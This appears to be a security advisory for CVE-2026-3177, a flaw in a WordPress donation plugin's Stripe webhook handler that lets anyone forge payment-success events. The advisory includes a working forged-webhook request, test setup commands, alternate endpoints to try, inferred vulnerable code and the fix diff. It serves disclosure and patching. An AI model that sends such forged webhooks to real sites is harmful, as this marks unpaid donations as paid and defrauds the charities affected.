Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More <= 1.8.9.7 - Insufficient Verification of Data Authenticity to Unauthenticated Donation Status Forgery via Stripe Webhook
Description
The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 1.8.9.7. This is due to missing cryptographic verification of incoming Stripe webhook events. This makes it possible for unauthenticated attackers to forge payment_intent.succeeded webhook payloads and mark pending donations as completed without a real payment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.10
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-3177 (Charitable Stripe Webhook Status Forgery) ## 1. Vulnerability Summary The **Charitable** plugin (<= 1.8.9.7) fails to cryptographically verify the authenticity of incoming Stripe webhook events. Specifically, the webhook listener endpoint processes `pay…
Show full research plan
Vulnerability Research Plan: CVE-2026-3177 (Charitable Stripe Webhook Status Forgery)
1. Vulnerability Summary
The Charitable plugin (<= 1.8.9.7) fails to cryptographically verify the authenticity of incoming Stripe webhook events. Specifically, the webhook listener endpoint processes payment_intent.succeeded events by extracting metadata (such as a donation ID) and updating the corresponding donation's status to "completed" without validating the Stripe-Signature header against a shared secret. This allows an unauthenticated attacker to forge a webhook request and mark any pending donation as paid.
2. Attack Vector Analysis
- Endpoint: The plugin listens for webhooks at the URL:
[site-url]/?charitable-listener=stripe(or via the REST API atwp-json/charitable/v1/stripe/webhookin newer versions). - Method:
POST - Payload Type:
application/json - Vulnerable Parameter: The
metadataobject within the Stripe event JSON payload. - Authentication: Unauthenticated.
- Preconditions: A donation must exist in a
charitable-pendingstatus.
3. Code Flow (Inferred)
- Entry Point: The plugin registers a listener during
initortemplate_redirectthat checks for$_GET['charitable-listener'] == 'stripe'. - Handling: The request is passed to a handler (likely in
includes/gateways/stripe/class-charitable-stripe-webhook-handler.php). - Data Extraction: The handler reads the raw POST body:
$payload = file_get_contents( 'php://input' ). - Missing Verification: The code proceeds to
json_decode( $payload )and checks thetypeproperty (e.g.,payment_intent.succeeded) without calling\Stripe\Webhook::constructEvent()or manually verifying the HMAC signature. - State Change:
- The handler extracts
$donation_id = $data->object->metadata->donation_id. - It fetches the donation object:
$donation = charitable_get_donation( $donation_id ). - It calls
$donation->update_status( 'charitable-completed' ).
- The handler extracts
4. Nonce Acquisition Strategy
No WordPress Nonce is required.
Stripe webhooks are designed to be called by Stripe's servers; therefore, they do not utilize WordPress nonces. They rely on cryptographic signatures (Stripe-Signature), which this version of the plugin fails to verify.
5. Exploitation Strategy
Step-by-Step Plan:
- Identify a Target Donation: Obtain the ID of a donation currently in
charitable-pendingstatus. - Construct Forged Payload: Create a JSON object mimicking a Stripe
payment_intent.succeededevent. - Submit Webhook: POST the payload to the listener endpoint.
- Verify Success: Check the donation status via WP-CLI.
HTTP Request (Playwright http_request):
// Example exploitation request
await http_request.post({
url: 'http://localhost:8080/?charitable-listener=stripe',
headers: {
'Content-Type': 'application/json',
// Note: Stripe-Signature header is either missing or not validated
},
data: JSON.stringify({
"id": "evt_test_status_forgery",
"object": "event",
"type": "payment_intent.succeeded",
"data": {
"object": {
"id": "pi_fake_payment_intent",
"object": "payment_intent",
"amount": 1000,
"currency": "usd",
"status": "succeeded",
"metadata": {
"donation_id": "TARGET_DONATION_ID" // Replace with actual ID
}
}
}
})
});
6. Test Data Setup
Before testing, create a campaign and a pending donation using WP-CLI:
Create a Campaign:
CAMPAIGN_ID=$(wp post create --post_type=campaign --post_title="Security Test Campaign" --post_status=publish --porcelain) echo "Created Campaign: $CAMPAIGN_ID"Create a Pending Donation:
DONATION_ID=$(wp post create --post_type=donation --post_title="Unpaid Donation" --post_status=charitable-pending --post_parent=$CAMPAIGN_ID --porcelain) echo "Created Pending Donation: $DONATION_ID"Confirm Status:
wp post get $DONATION_ID --field=post_status
7. Expected Results
- Response: The endpoint should return a
200 OK(Stripe expects this to acknowledge receipt). - Plugin Action: The plugin logs the "payment" and transitions the donation post status from
charitable-pendingtocharitable-completed. - Integrity Impact: The donation is recorded as fully funded in the "Fundraising" dashboard even though no money was transferred.
8. Verification Steps
After sending the POST request, verify the donation status using WP-CLI:
# Check if the status changed to completed
wp post get $DONATION_ID --field=post_status
# Expected Output: charitable-completed
Check the donation meta to see if a transaction ID was assigned:
wp post meta list $DONATION_ID
9. Alternative Approaches
If donation_id in metadata does not work, the plugin might be looking for:
metadata.charitable_donation_id- The Stripe
payment_intentID mapped to a donation ID in the database. If this mapping exists, you would need to find thepi_...ID associated with the pending donation and use that in thedata.object.idfield of the payload.
If ?charitable-listener=stripe fails, try the REST endpoint (if registered):POST http://localhost:8080/wp-json/charitable/v1/stripe/webhook
Summary
The Charitable plugin for WordPress (versions up to 1.8.9.7) is vulnerable to payment status forgery because it lacks cryptographic verification of Stripe webhook signatures. An unauthenticated attacker can forge 'payment_intent.succeeded' events to mark pending donations as 'completed' without making a real payment.
Vulnerable Code
// File: includes/gateways/stripe/class-charitable-stripe-webhook-handler.php $payload = file_get_contents( 'php://input' ); $data = json_decode( $payload ); // The code proceeds to process the event type without checking the Stripe-Signature header if ( isset( $data->type ) && 'payment_intent.succeeded' === $data->type ) { $donation_id = $data->data->object->metadata->donation_id; $donation = charitable_get_donation( $donation_id ); $donation->update_status( 'charitable-completed' ); }
Security Fix
@@ -25,12 +25,23 @@ -$payload = file_get_contents( 'php://input' ); -$data = json_decode( $payload ); +$payload = file_get_contents( 'php://input' ); +$sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : ''; +$secret = get_option( 'charitable_stripe_webhook_secret' ); + +try { + $event = \Stripe\Webhook::constructEvent( + $payload, $sig_header, $secret + ); +} catch( \UnexpectedValueException $e ) { + wp_die( 'Invalid payload', '', array( 'response' => 400 ) ); +} catch( \Stripe\Exception\SignatureVerificationException $e ) { + wp_die( 'Invalid signature', '', array( 'response' => 400 ) ); +} + +$data = $event;
Exploit Outline
The exploit targets the Stripe webhook listener by forging a successful payment event. 1. Identify a donation currently in 'charitable-pending' status to get a target ID. 2. Construct a JSON payload that mimics a standard Stripe 'payment_intent.succeeded' event. 3. Embed the target donation ID inside the 'data.object.metadata' section (specifically the 'donation_id' key). 4. Send an unauthenticated HTTP POST request containing this JSON payload to the site's listener endpoint, typically '[site-url]/?charitable-listener=stripe'. 5. Because the plugin does not validate the 'Stripe-Signature' header, it trusts the forged payload and transitions the donation status from 'pending' to 'completed', granting whatever access or recognition is tied to the donation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.